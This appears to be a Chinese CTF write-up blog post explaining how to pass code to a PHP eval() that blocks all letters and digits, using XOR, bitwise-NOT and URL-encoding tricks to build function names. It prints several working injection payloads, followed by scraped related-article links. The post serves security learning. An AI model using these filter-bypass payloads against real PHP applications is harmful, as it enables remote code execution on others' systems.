【奇技淫巧】过滤了字母和数字,如何写 shell
日期:2018-08-13 11:56:26
作者:Bay0net
介绍:金融行业正式比赛的一个题目
0x01、题目信息
文中给了一个代码
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
过滤了大小写字母和数字,如何传参来获取 flag?
0x02、构造过程
2.1 有关 php 的异或:

A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~

2.2 举个栗子
<?php
function B(){
echo "Hello Angel_Kitty";
}
$_++;
$__= "?" ^ "}";
$__();
?>
- 关于
$_++;;因为$_事先没有定义,所以等于null,然后执行自加的操作,此时$_=1 - 关于
$__= "?" ^ "}";;这里的$__是字符 B - 最后一句,等价于
B(),执行了B()这个函数
("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
上面的是_POST
2.3 关于 GET 传参
源码如下
<?php
function getFlag() {
echo 'flag_is_here!';
}
echo (eval($_GET['gg']));
?>
方法1:
?gg=${_GET}[_]();&_=getFlag
?gg=${"`{{{"^"?<>/"}["`"^"?"]();&_=getFlag
方法2:博客里的,没搞懂 ${_GET}[__] 干啥的:
?code=${_GET}[_](${_GET}[__]);&_=getFlag
?code=$_=_GET;${$_}[_](${$_}[__]);&_=getFlag
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
方法3:把 getFlag 取反,然后进行 URL 编码
<?php
$a = urlencode('getflag');
echo urlencode(~$a);
?>
gg=$_=getflag;$_();
gg=$_=~%98%9A%8B%B9%93%9E%98;$_();
方法4:
?gg=$阿=getflag;$阿();
?gg=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
Referer
【奇技淫巧】过滤了字母和数字,如何写 shell的更多相关文章
- Java中过滤出字母、数字和中文的正则表达式
1.Java中过滤出字母.数字和中文的正则表达式 (1)过滤出字母的正则表达式 [^(A-Za-z)] (2)过滤出数字的正则表达式 [^(0-9)] (3)过滤出中文的正则表达式 [^(\\u4e0 ...
- AJPFX总结关于Java中过滤出字母、数字和中文的正则表达式
1.Java中过滤出字母.数字和中文的正则表达式 (1)过滤出字母的正则表达式 [^(A-Za-z)] (2) 过滤出 数字 的正则表达式 [^(0-9)] (3) 过滤出 中文 的正则 ...
- Java正则表达式过滤出字母、数字和中文
原文:http://blog.csdn.net/k21325/article/details/54090066 1.Java中过滤出字母.数字和中文的正则表达式 (1)过滤出字母的正则表达式 [^(A ...
- 涨姿势:抛弃字母、数字和下划线写SHELL
PHP中异或 (^) 的概念 <?php echo"A"^"?";?> <?php echo"A"^"?&quo ...
- Python 过滤字母和数字
[前言]在写爬虫时,正则表达式有时候比较难写,一个是自己不熟练,二者数据分析提取数据千奇百怪. 一.好在python有个re模块,提供了很多更加简便的方法:可参考此文档:https://www.cnb ...
- C# 过滤特殊字符,保留中文,字母,数字,和-
#region public static string FilterChar(string inputValue) 过滤特殊字符,保留中文,字母,数字,和- /// <summary> ...
- java验证,”支持6-20个字母、数字、下划线或减号,以字母开头“这个的正则表达式怎么写?
转自:https://yq.aliyun.com/wenzhang/show_96854 问题描述 java验证,”支持6-20个字母.数字.下划线或减号,以字母开头“这个的正则表达式怎么写? 验证” ...
- 安恒杯月赛 babypass getshell不用英文字母和数字
BABYBYPASS 先贴代码: ①限制字符长度35个 ②不能使用英文字母和数字和 _ $ 最后提示有个getFlag()函数,从这个函数入手. 我们的第一思路是直接eval执行getFlag函数,但 ...
- 关于IEDA中的字母与数字的坑
今天写一个demo,环境是在IDEA下写的,遇到一个关于字母与数字完全一样的坑 在jsp页面中有一个input是这样的 <input type="file" name=&qu ...
随机推荐
- 基于SOA的图书商城系统分析
1.1什么是SOA架构? SOA( Service Oriented Architecture)是一种面向服务的分布式架构,将每个实现特定功能的工程拆分为服务层和表现层.服务层负责处理业务逻辑,对外提 ...
- Spring + Mybatis 企业应用实战 第3章 Sping MVC的常用注解
注解(annotation) @Controller @Controller是扩展的@Component的,可以说基本一样,就是作为一种标志. @RequestMapping value: 指 ...
- STM32Cube IDE配置串口发送与接收
此项目源码下载地址:https://github.com/lizhiqiang0204/STM32CubeIDE_Uart 串口与中断配置如下 在生成的main函数中,添加开启串口接收中断 HAL_I ...
- BZOJ - 2243 染色 (LCT链修改+链查询)
同样是可以用LCT解决的树剖问题之一. 注意反转的时候要考虑对左右端点颜色的影响,而且要先反转再打标记(这点不知道为啥) #include<bits/stdc++.h> using nam ...
- webpack命令:Module build failed(from ./node_modules/babel-loader/lib/index.js)/405/错误解决
在项目中运行的时候出现报错,错误为Module build failed (from ./node_modules/babel-loader/lib/index.js) 解决方案: 控制台输入 np ...
- InnoDB数据库 ibdata1 被删除后 的恢复方法
前提条件:1 ibdata1 被删除 2 数据库文件还存在 特别是 ibd文件 3 原来数据库表结构及索引还在 恢复步骤: 1. 将原来的数据文件COPY到其它目录下. 2. 创建同名表,表结 ...
- 创建一个jFinal项目
最近在做微信开发,于是用到了jfinal. 做一下解释: JFinal 是基于 Java 语言的极速 WEB + ORM 开发框架,其核心设计目标是开发迅速.代码量少.学习简单.功能强大.轻量级.易扩 ...
- lazarus 连接mysql5.7 (deepin linux)
在mysql下载站点下载驱动文件:libmysqlclient20_5.7.28-1debian9_amd64 64位 ,1.5M 安装后,lazarus IDE 就可以直接连MYSQL ...
- TTTTTTTTTTTTTTTTT HDU 2586 How far away LCA的离线算法 Tarjan
链接: How far away ? Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Other ...
- 【转载】Save terminal output to a file
To write the output of a command to a file, there are basically 10 commonly used ways. Overview: Ple ...